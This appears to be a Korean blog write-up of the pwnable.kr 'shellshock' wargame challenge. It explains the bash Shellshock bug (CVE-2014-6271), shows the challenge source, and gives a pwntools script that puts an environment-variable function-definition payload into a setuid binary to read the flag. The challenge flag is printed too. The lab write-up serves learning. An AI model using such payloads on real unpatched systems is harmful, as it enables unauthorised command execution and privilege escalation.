DongDD's IT

[pwnable.kr] shellshock 본문

Wargame/pwnable.kr

[pwnable.kr] shellshock

DongDD 2018. 6. 18. 15:59

[pwnable.kr] shellshock



Problem



bash에 대한 충격적인 뉴스가 있었다고 한다. 모두가 알고 있을 거라는 말과 함께 시도해보라는 듯한 문제가 나와있었다.

먼저 ssh를 통해 접속해보았다.



ssh를 통해 접속하니 bash 파일과 flag 파일, shellshock 실행 파일과 shellshock.c 소스 코드로 4개의 파일이 있었다.

먼저 bash와 shellshock를 실행해보았다.



shellshock 파일은 실행 시, shock_me 라는 메시지만 출력되고 종료되었다.

bash를 실행해보니 일반 bash 파일인 것 같았다.

shellshock.c 소스 코드 파일을 확인해보았다.


1
2
3
4
5
6
7
8
#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}
 
cs

setresuid() 함수와 setresgid() 함수를 통해 프로그램 실행 시 uid와 gid를 바꾸어 준 후 system 함수를 통해 "bash -c 'echo shock_me'"를 실행해준다.



Solution


저번 보안기사를 준비하며 배웠었던 shellshock에 관련된 문제였다.

shellshock는 bash에서 발생할 수 있는 취약점이고 bash를 생성할 때 함수로 된 환경 변수를 등록하는 과정에서 함수를 등록한 후 이 후에 넣어준 임의의 명령어를 실행하는 취약점이다.


이를 활용한 취약점은 환경 변수로 저장되는 User-Agent를 이용하는 bash로 짜여진 CGI에서도 사용될 수 있다고 한다.


먼저 shellshock 취약점을 사용할 수 있는 지 확인해보기 위해 환경 변수 a에 함수를 넣어주고 이 후에 실행할 명령어를 넣어주었다.

그 후에 bash를 실행해보았더니 "/bin/cat : flag: Permission denied"라는 메시지가 출력되는 것으로 보아 bash를 실행할 때 환경 변수에서 함수를 등록하고 이 후에 넣은 명령어가 실행되는 것을 알 수 있었다.

이 점을 이용해 shellshock에서 uid, gid를 변경한 후 bash를 실행하기 때문에 환경 변수를 설정한 후 shellshock를 실행하게 되면 새로운 bash를 생성하는 과정에서 권한을 가진 id를 통해 flag를 출력할 수 있게 된다.








**************     Answer & Flag     **************



직접 실행



shellshock 취약점을 이용해 환경 변수에서 함수 선언 이후 실행할 명령어를 넣어준 후 setuid가 설정되는 shellshock 프로그램을 실행시키면 환경 변수에서 함수를 실행한 후 '/bin/cat flag'를 실행한다.


Pyhon SSH Code(pwntool)


1
2
3
4
5
6
7
8
9
from pwn import *
 
= ssh(user="shellshock", host="pwnable.kr", port=2222, password="guest")
 
en = {'a' : "() { /bin/cat flag;}; /bin/cat flag"}
p1 = p.process(env=en, executable="/home/shellshock/shellshock")
 
print p1.recv()
 
cs




Flag : only if I knew CVE-2014-6271 ten years ago..!!



'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack  (0) 2018.06.28
[pwnable.kr] coin1  (0) 2018.06.26
[pwnable.kr] mistake  (0) 2018.06.14
[pwnable.kr] leg  (0) 2018.06.10
[pwnable.kr] input  (0) 2018.04.19
Comments